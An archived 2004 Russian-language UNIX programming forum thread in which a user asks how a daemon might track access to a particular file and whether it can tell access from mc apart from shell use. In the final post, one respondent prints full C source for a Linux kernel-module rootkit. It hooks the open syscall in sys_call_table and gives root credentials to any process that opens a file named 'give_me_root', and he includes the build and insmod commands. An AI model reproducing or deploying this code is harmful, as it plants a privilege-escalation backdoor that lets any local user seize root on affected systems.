The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

форумы  помощь  поиск  регистрация  майллист  ВХОД  слежка  RSS
"доступ к файлу"
Вариант для распечатки Архивированная нить - только для чтения! 
Пред. тема | След. тема 
Форумы Программирование под UNIX (Public)
Изначальное сообщение [Проследить за развитием треда]

"доступ к файлу"
Сообщение от Alex emailИскать по авторуВ закладки(??) on 29-Апр-04, 18:52  (MSK)
задача достаточно простая:
программа должна висеть демоном и отслеживать доступ к определенному файлу. Если файл пытаеюся посмотреть из mc, то пусть работает ОС, а если из командной строки тогда прога должна это отслеживать и посылать...

вообще реально это сделать? Какими функциями, вообще куда копать???
сам пишу на Perl и C/C++
буду благодарен за любую помощь

  Рекомендовать в FAQ | Cообщить модератору | Наверх

 Оглавление

Индекс форумов | Темы | Пред. тема | След. тема
Сообщения по теме

1. "доступ к файлу"
Сообщение от Alex emailИскать по авторуВ закладки(??) on 30-Апр-04, 16:46  (MSK)
>задача достаточно простая:
> программа должна висеть демоном и отслеживать доступ к определенному файлу. Если
>файл пытаеюся посмотреть из mc, то пусть работает ОС, а если
>из командной строки тогда прога должна это отслеживать и посылать...
>
>вообще реально это сделать? Какими функциями, вообще куда копать???
>сам пишу на Perl и C/C++
>буду благодарен за любую помощь

неужели никто не знает???? на сколько я понимаю нужно добраться до таблицы дискрипторов файла....

  Рекомендовать в FAQ | Cообщить модератору | Наверх

2. "доступ к файлу"
Сообщение от ACCA Искать по авторуВ закладки(ok) on 03-Май-04, 06:57  (MSK)
man 1 mkfifo
man 3 mkfifo

А вообще подумай чуть дольше. Учёл ли ты, что:

1. mc сам не умеет "смотреть", а использует другие программы
2. bash/csh/tcsh тоже не умеет "смотреть" и использует их же

вопрос - ты собираешься различать mcview пущенный из sh от mcview пущенного из mc?

  Рекомендовать в FAQ | Cообщить модератору | Наверх

3. "доступ к файлу"
Сообщение от Alex emailИскать по авторуВ закладки(??) on 03-Май-04, 18:48  (MSK)
>man 1 mkfifo
>man 3 mkfifo
>
>А вообще подумай чуть дольше. Учёл ли ты, что:
>
>1. mc сам не умеет "смотреть", а использует другие программы
без условно, я это понимаю...
>2. bash/csh/tcsh тоже не умеет "смотреть" и использует их же
тоже понятно
>вопрос - ты собираешься различать mcview пущенный из sh от mcview пущенного
>из mc?
ДА!

спасибо за ответ, но при чем тут mkfifo, за чем мне создавать новый fifo файл???


  Рекомендовать в FAQ | Cообщить модератору | Наверх

4. "доступ к файлу"
Сообщение от Alexander S. Salieff emailИскать по авторуВ закладки on 07-Май-04, 15:57  (MSK)
Я бы на твоем месте не изголялся с демонами, а посадил бы модуль в ядро, который бы перебивал в таблице системных вызовов функцию open на свою обертку. Эта обертка 100% всегда будет получать имена открываемых файлов со всеми атрибутами открытия, и полную инфу о процессе, который это делает. А дальше - полный полет фантазии (либо что-то сотворить, либо вызвать настоящий open с имеющимися аргументами, либо сначала одно, потом другое, либо... Да короче, это ж ядро - тут можно ВСЕ ;). Я делал модуль, который давал процессу, обращающемуся к файлу с определенным именем, рутовые права ;)
  Рекомендовать в FAQ | Cообщить модератору | Наверх

5. "доступ к файлу"
Сообщение от Alex emailИскать по авторуВ закладки(??) on 07-Май-04, 18:08  (MSK)
-+
>Я бы на твоем месте не изголялся с демонами, а посадил бы
>модуль в ядро, который бы перебивал в таблице системных вызовов функцию
>open на свою обертку. Эта обертка 100% всегда будет получать имена
>открываемых файлов со всеми атрибутами открытия, и полную инфу о процессе,
>который это делает. А дальше - полный полет фантазии (либо что-то
>сотворить, либо вызвать настоящий open с имеющимися аргументами, либо сначала одно,
>потом другое, либо... Да короче, это ж ядро - тут можно
>ВСЕ ;). Я делал модуль, который давал процессу, обращающемуся к файлу
>с определенным именем, рутовые права ;)

Можешь показать? А то так понятно, но было б не плохо посмотреть...
Буду ОЧЕНЬ ПРИЗНАТЕЛЕН.

  Рекомендовать в FAQ | Cообщить модератору | Наверх

6. "доступ к файлу"
Сообщение от Alexander S. Salieff emailИскать по авторуВ закладки on 11-Май-04, 13:06  (MSK)
>Можешь показать? А то так понятно, но было б не плохо посмотреть...
>
>Буду ОЧЕНЬ ПРИЗНАТЕЛЕН.

Ну вот тебе пример простого руткита для Linux (хотя вообще это классика, и кто угодно, хоть немного писавший ядерный код, сделает это за 5 минут)

#define KEYWORD "give_me_root"

#include <linux/kernel.h>
#include <linux/sched.h>
#include <syscall.h>

#ifdef MODULE
#include <linux/module.h>
#include <linux/version.h>
#else
#define MOD_INC_USE_COUNT;
#define MOD_DEC_USE_COUNT;
#endif

extern void * sys_call_table[];
extern struct task_struct *current;

int(* orig_open)(const char *, int, int);

int our_open (const char * name, int flags, int mode)
{
char *nn = getname(name);
if (strcmp(nn,KEYWORD)==0)
  {
  current->uid = 0;
  current->euid = 0;
  current->gid = 0;
  current->egid = 0;
  return(orig_open(name, flags, mode));
  }
return(orig_open(name, flags, mode));
}

int init_module(void)
{
printk("r00t_kit module started");
orig_open = sys_call_table[SYS_open];
sys_call_table[SYS_open] = our_open;
printk(" and loaded - OK\n");
return 0;
}

void cleanup_module(void)
{
printk("r00t_kit module stoped");
sys_call_table[SYS_open] = orig_open;
printk(" and unloaded - OK\n");
}

Обрати внимание на указатель current в функции our_open, это и есть исчерпывающая инфа о процессе, пытающемся на данный момент открыть файл name.
Соберешь эту байду: gcc -s -O3 -I/usr/src/linux/include -DMODULE -D__KERNEL__ -c rootkit.c
Вставишь от рута: insmod -f rootkit.o
И радуйся, типа...
Помоему на базе этого кода совсем несложно сделать то, что тебе надо.

  Рекомендовать в FAQ | Cообщить модератору | Наверх


Удалить

Индекс форумов | Темы | Пред. тема | След. тема
Пожалуйста, прежде чем написать сообщение, ознакомьтесь с данными рекомендациями.




Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2025 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру